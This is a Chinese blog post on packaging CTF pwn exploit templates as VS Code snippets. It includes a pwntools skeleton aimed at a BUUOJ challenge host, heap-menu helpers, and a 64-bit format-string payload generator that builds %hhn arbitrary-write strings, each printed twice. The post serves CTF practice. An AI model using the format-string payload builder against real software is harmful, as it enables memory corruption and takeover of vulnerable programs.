pwn exp模板 + vscode snippet

snippet,或者说「code snippet」,也即代码片,指的是能够帮助输入重复代码模式,比如循环或条件语句,的模板。通过 snippet ,我们仅仅输入一小段字符串,就可以在代码片引擎的帮助下,生成预定义的模板代码,接着我们还可以通过在预定义的光标位置之间跳转,来快速补全模板。

vscode 集成了这种功能,ctrl + shift + p,就可以调出“配置用户代码片段”的功能

因为pwn模板很多都相似,比如都会加载binary文件,在heap菜单中都有add等诸如此类的功能,每次写都会很麻烦,我之前配置过snippet,但是想要一个半自动化的方法来配置,写了一个小脚本来完成这个功能

pwn exp框架

此框架采用了师傅们的模板,具体链接放到Reference中
我写了三个snippet,分别是总体上的pwn框架,menu框架(heap中的)还有64位格式化字符串框架,分别如下

pwn.py

from pwn import *
import sys

arch = 64
challenge = "$1"
libc_path = '$2'

def dbg():
context.log_level = 'debug'

def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")

def exp():
pass

local = int(sys.argv[1])
elf = ELF(challenge)
libc = ELF(libc_path)

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

if local:
io = process(challenge,env = {"LD_PRELOAD":libc_path})
else:
io = remote("node4.buuoj.cn", 25965)

if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'

p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))

bps = []
pie = 0

def gdba():
if local == 0:
return 0
cmd ='set follow-fork-mode parent\n'
if pie:
base = int(os.popen("pmap {}|awk '{{print $1}}'".format(io.pid)).readlines()[1],16)
cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
cmd +='set $base={:#x}\n'.format(base)
else:
cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
gdb.attach(io,cmd)

exp()
ia()
_add,_free,_edit,_show = 1,2,3,4

menu = "$1"

def add(size, content):
sla(menu, str(_add))
sla("", str(size))
sa("", content)

def edit(idx, content):
sla(menu, str(_edit))
sla("", str(idx))
sa("", content)

def free(idx):
sla(menu, str(_free))
sla("", str(idx))

def show(idx):
sla(menu, str(_show))
sla("", str(idx))

format.py

def format_string_template_64(location_arg,target,after_change,len_other_string = 0,ljust_location = 0x50,bit = 0x6):

'''
第一个参数是格式化字符串的位置,即第几个参数
第二个参数是要改哪里的值
第三个参数是把想把目标值改成什么值
第四个参数是看看在printf之前还有没有奇奇怪怪的字符串
第五个参数是ljust填补核心payload之后,让其0x8个字节对齐,默认是0x50
第六个参数是要覆盖的位数,默认为6
'''
if bit == 1:
low1 = (after_change & 0xff)

c1 = (low1 - len_other_string + 0x100) % 0x100

location_arg1 = location_arg + ljust_location / 0x8
payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + 'hhn'
payload = payload.ljust(ljust_location,'a')

payload = payload + p64(target)

if bit == 2:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8

c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100

location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1

payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + 'hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + 'hhn'
payload = payload.ljust(ljust_location,'a')

payload = payload + p64(target)
payload = payload + p64(target + 0x1)

if bit == 3:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
low3 = (after_change & 0xff0000) >> 16

c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
c3 = (low3 - low2 + 0x100) % 0x100

location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
location_arg3 = location_arg2 + 1

payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + 'hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + 'hhn'
payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + 'hhn'
payload = payload.ljust(ljust_location,'a')

payload = payload + p64(target)
payload = payload + p64(target + 0x1)
payload = payload + p64(target + 0x2)

if bit == 4:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
low3 = (after_change & 0xff0000) >> 16
low4 = (after_change & 0xff000000) >> 24

c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
c3 = (low3 - low2 + 0x100) % 0x100
c4 = (low4 - low3 + 0x100) % 0x100

location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
location_arg3 = location_arg2 + 1
location_arg4 = location_arg3 + 1

payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + 'hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + 'hhn'
payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + 'hhn'
payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + 'hhn'
payload = payload.ljust(ljust_location,'a')

payload = payload + p64(target)
payload = payload + p64(target + 0x1)
payload = payload + p64(target + 0x2)
payload = payload + p64(target + 0x3)

if bit == 5:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
low3 = (after_change & 0xff0000) >> 16
low4 = (after_change & 0xff000000) >> 24
low5 = (after_change & 0xff00000000) >> 32

c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
c3 = (low3 - low2 + 0x100) % 0x100
c4 = (low4 - low3 + 0x100) % 0x100
c5 = (low5 - low4 + 0x100) % 0x100

location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
location_arg3 = location_arg2 + 1
location_arg4 = location_arg3 + 1
location_arg5 = location_arg4 + 1

payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + 'hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + 'hhn'
payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + 'hhn'
payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + 'hhn'
payload = payload + '%' + str(c5) + 'c' + '%' + str(location_arg5) + 'hhn'
payload = payload.ljust(ljust_location,'a')

payload = payload + p64(target)
payload = payload + p64(target + 0x1)
payload = payload + p64(target + 0x2)
payload = payload + p64(target + 0x3)
payload = payload + p64(target + 0x4)

if bit == 6:
low1 = (after_change & 0xff)
low2 = (after_change & 0xff00) >> 8
low3 = (after_change & 0xff0000) >> 16
low4 = (after_change & 0xff000000) >> 24
low5 = (after_change & 0xff00000000) >> 32
low6 = (after_change & 0xff0000000000) >> 40

c1 = (low1 - len_other_string + 0x100) % 0x100
c2 = (low2 - low1 + 0x100) % 0x100
c3 = (low3 - low2 + 0x100) % 0x100
c4 = (low4 - low3 + 0x100) % 0x100
c5 = (low5 - low4 + 0x100) % 0x100
c6 = (low6 - low5 + 0x100) % 0x100

location_arg1 = location_arg + ljust_location / 0x8
location_arg2 = location_arg1 + 1
location_arg3 = location_arg2 + 1
location_arg4 = location_arg3 + 1
location_arg5 = location_arg4 + 1
location_arg6 = location_arg5 + 1

payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + 'hhn'
payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + 'hhn'
payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + 'hhn'
payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + 'hhn'
payload = payload + '%' + str(c5) + 'c' + '%' + str(location_arg5) + 'hhn'
payload = payload + '%' + str(c6) + 'c' + '%' + str(location_arg6) + 'hhn'
payload = payload.ljust(ljust_location,'a')

payload = payload + p64(target)
payload = payload + p64(target + 0x1)
payload = payload + p64(target + 0x2)
payload = payload + p64(target + 0x3)
payload = payload + p64(target + 0x4)
payload = payload + p64(target + 0x5)

return payload

将上述模板写入snippet

采取了json库和文件操作来实现,整个settings.json来配置路径和prefix、body等信息
参照code的snippet说明和格式要求来完成

def go():
data = {}
content = []

with open("settings.json", "r") as f:
jsdata = json.load(f)

jsonPath = jsdata["jsonPath"]
files = jsdata["filePath"]
names = jsdata["snippetName"]

for i in range(len(files)):
with open(files[i], "r") as f:
content = f.read().splitlines()
data[names[i]] = {
"prefix": names[i],
"body": content
}

with open(jsonPath, "w") as f:
json.dump(data, f, ensure_ascii=False, indent=4)

print("OK!")

Python.snippet

运行python文件,得到的Python的snippet文件如下

{
"pwn": {
"prefix": "pwn",
"body": [
"from pwn import *",
"import sys",
"",
"arch = 64",
"challenge = \"$1\"",
"libc_path = '$2'",
"",
"def dbg():",
" context.log_level = 'debug'",
"",
"def echo(content):",
" print(\"\\033[4;36;40mOutput prompts:\\033[0m\" + \"\\t\\033[7;33;40m[*]\\033[0m \" + \"\\033[1;31;40m\" + content + \"\\033[0m\")",
"",
"def exp():",
" pass",
"",
"local = int(sys.argv[1])",
"elf = ELF(challenge)",
"libc = ELF(libc_path)",
"",
"context.os = 'linux'",
"context.terminal = ['tmux', 'splitw', '-h']",
"",
"if local:",
" io = process(challenge,env = {\"LD_PRELOAD\":libc_path})",
"else:",
" io = remote(\"node4.buuoj.cn\", 25965)",
"",
"if arch == 64:",
" context.arch = 'amd64'",
"elif arch == 32:",
" context.arch = 'i386'",
"",
"p = lambda : pause() ",
"s = lambda x : success(x)",
"re = lambda m, t : io.recv(numb=m, timeout=t)",
"ru = lambda x : io.recvuntil(x)",
"rl = lambda : io.recvline()",
"sd = lambda x : io.send(x)",
"sl = lambda x : io.sendline(x)",
"ia = lambda : io.interactive()",
"sla = lambda a, b : io.sendlineafter(a, b)",
"sa = lambda a, b : io.sendafter(a, b)",
"uu32 = lambda x : u32(x.ljust(4,b'\\x00'))",
"uu64 = lambda x : u64(x.ljust(8,b'\\x00'))",
"",
"bps = []",
"pie = 0",
"",
"def gdba():",
" if local == 0:",
" return 0",
" cmd ='set follow-fork-mode parent\\n'",
" if pie:",
" base = int(os.popen(\"pmap {}|awk '{{print $1}}'\".format(io.pid)).readlines()[1],16)",
" cmd +=''.join(['b *{:#x}\\n'.format(b+base) for b in bps])",
" cmd +='set $base={:#x}\\n'.format(base)",
" else:",
" cmd+=''.join(['b *{:#x}\\n'.format(b) for b in bps])",
" gdb.attach(io,cmd)",
"",
"exp()",
"ia()"
]
},
"menu": {
"prefix": "menu",
"body": [
"_add,_free,_edit,_show = 1,2,3,4",
"",
"menu = \"$1\"",
"",
"def add(size, content):",
" sla(menu, str(_add))",
" sla(\"\", str(size))",
" sa(\"\", content)",
"",
"def edit(idx, content):",
" sla(menu, str(_edit))",
" sla(\"\", str(idx))",
" sa(\"\", content)",
"",
"def free(idx):",
" sla(menu, str(_free))",
" sla(\"\", str(idx))",
"",
"def show(idx):",
" sla(menu, str(_show))",
" sla(\"\", str(idx))"
]
},
"64format": {
"prefix": "64format",
"body": [
"def format_string_template_64(location_arg,target,after_change,len_other_string = 0,ljust_location = 0x50,bit = 0x6):",
"",
" '''",
" 第一个参数是格式化字符串的位置,即第几个参数",
" 第二个参数是要改哪里的值",
" 第三个参数是把想把目标值改成什么值",
" 第四个参数是看看在printf之前还有没有奇奇怪怪的字符串",
" 第五个参数是ljust填补核心payload之后,让其0x8个字节对齐,默认是0x50",
" 第六个参数是要覆盖的位数,默认为6",
" '''",
" if bit == 1:",
" low1 = (after_change & 0xff)",
"",
" c1 = (low1 - len_other_string + 0x100) % 0x100",
"",
" location_arg1 = location_arg + ljust_location / 0x8",
" payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + 'hhn'",
" payload = payload.ljust(ljust_location,'a')",
"",
" payload = payload + p64(target)",
"",
" if bit == 2:",
" low1 = (after_change & 0xff)",
" low2 = (after_change & 0xff00) >> 8",
"",
" c1 = (low1 - len_other_string + 0x100) % 0x100",
" c2 = (low2 - low1 + 0x100) % 0x100",
"",
" location_arg1 = location_arg + ljust_location / 0x8",
" location_arg2 = location_arg1 + 1",
"",
" payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + 'hhn'",
" payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + 'hhn'",
" payload = payload.ljust(ljust_location,'a')",
"",
" payload = payload + p64(target)",
" payload = payload + p64(target + 0x1)",
"",
" if bit == 3:",
" low1 = (after_change & 0xff)",
" low2 = (after_change & 0xff00) >> 8",
" low3 = (after_change & 0xff0000) >> 16",
" ",
" c1 = (low1 - len_other_string + 0x100) % 0x100",
" c2 = (low2 - low1 + 0x100) % 0x100",
" c3 = (low3 - low2 + 0x100) % 0x100",
" ",
" location_arg1 = location_arg + ljust_location / 0x8",
" location_arg2 = location_arg1 + 1",
" location_arg3 = location_arg2 + 1",
" ",
" payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + 'hhn'",
" payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + 'hhn'",
" payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + 'hhn'",
" payload = payload.ljust(ljust_location,'a')",
" ",
" payload = payload + p64(target)",
" payload = payload + p64(target + 0x1)",
" payload = payload + p64(target + 0x2)",
"",
" if bit == 4:",
" low1 = (after_change & 0xff)",
" low2 = (after_change & 0xff00) >> 8",
" low3 = (after_change & 0xff0000) >> 16",
" low4 = (after_change & 0xff000000) >> 24",
" ",
" c1 = (low1 - len_other_string + 0x100) % 0x100",
" c2 = (low2 - low1 + 0x100) % 0x100",
" c3 = (low3 - low2 + 0x100) % 0x100",
" c4 = (low4 - low3 + 0x100) % 0x100",
" ",
" location_arg1 = location_arg + ljust_location / 0x8",
" location_arg2 = location_arg1 + 1",
" location_arg3 = location_arg2 + 1",
" location_arg4 = location_arg3 + 1",
" ",
" payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + 'hhn'",
" payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + 'hhn'",
" payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + 'hhn'",
" payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + 'hhn'",
" payload = payload.ljust(ljust_location,'a')",
" ",
" payload = payload + p64(target)",
" payload = payload + p64(target + 0x1)",
" payload = payload + p64(target + 0x2)",
" payload = payload + p64(target + 0x3)",
"",
" if bit == 5:",
" low1 = (after_change & 0xff)",
" low2 = (after_change & 0xff00) >> 8",
" low3 = (after_change & 0xff0000) >> 16",
" low4 = (after_change & 0xff000000) >> 24",
" low5 = (after_change & 0xff00000000) >> 32",
" ",
" c1 = (low1 - len_other_string + 0x100) % 0x100",
" c2 = (low2 - low1 + 0x100) % 0x100",
" c3 = (low3 - low2 + 0x100) % 0x100",
" c4 = (low4 - low3 + 0x100) % 0x100",
" c5 = (low5 - low4 + 0x100) % 0x100",
" ",
" location_arg1 = location_arg + ljust_location / 0x8",
" location_arg2 = location_arg1 + 1",
" location_arg3 = location_arg2 + 1",
" location_arg4 = location_arg3 + 1",
" location_arg5 = location_arg4 + 1",
" ",
" payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + 'hhn'",
" payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + 'hhn'",
" payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + 'hhn'",
" payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + 'hhn'",
" payload = payload + '%' + str(c5) + 'c' + '%' + str(location_arg5) + 'hhn'",
" payload = payload.ljust(ljust_location,'a')",
" ",
" payload = payload + p64(target)",
" payload = payload + p64(target + 0x1)",
" payload = payload + p64(target + 0x2)",
" payload = payload + p64(target + 0x3)",
" payload = payload + p64(target + 0x4)",
"",
" if bit == 6:",
" low1 = (after_change & 0xff)",
" low2 = (after_change & 0xff00) >> 8",
" low3 = (after_change & 0xff0000) >> 16",
" low4 = (after_change & 0xff000000) >> 24",
" low5 = (after_change & 0xff00000000) >> 32",
" low6 = (after_change & 0xff0000000000) >> 40",
" ",
" c1 = (low1 - len_other_string + 0x100) % 0x100",
" c2 = (low2 - low1 + 0x100) % 0x100",
" c3 = (low3 - low2 + 0x100) % 0x100",
" c4 = (low4 - low3 + 0x100) % 0x100",
" c5 = (low5 - low4 + 0x100) % 0x100",
" c6 = (low6 - low5 + 0x100) % 0x100",
" ",
" location_arg1 = location_arg + ljust_location / 0x8",
" location_arg2 = location_arg1 + 1",
" location_arg3 = location_arg2 + 1",
" location_arg4 = location_arg3 + 1",
" location_arg5 = location_arg4 + 1",
" location_arg6 = location_arg5 + 1",
" ",
" payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + 'hhn'",
" payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + 'hhn'",
" payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + 'hhn'",
" payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + 'hhn'",
" payload = payload + '%' + str(c5) + 'c' + '%' + str(location_arg5) + 'hhn'",
" payload = payload + '%' + str(c6) + 'c' + '%' + str(location_arg6) + 'hhn'",
" payload = payload.ljust(ljust_location,'a')",
" ",
" payload = payload + p64(target)",
" payload = payload + p64(target + 0x1)",
" payload = payload + p64(target + 0x2)",
" payload = payload + p64(target + 0x3)",
" payload = payload + p64(target + 0x4)",
" payload = payload + p64(target + 0x5)",
"",
" return payload"
]
}
}

Reference

文章作者: Alex
文章链接: http://example.com/2021/07/19/Snippet/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alex's blog~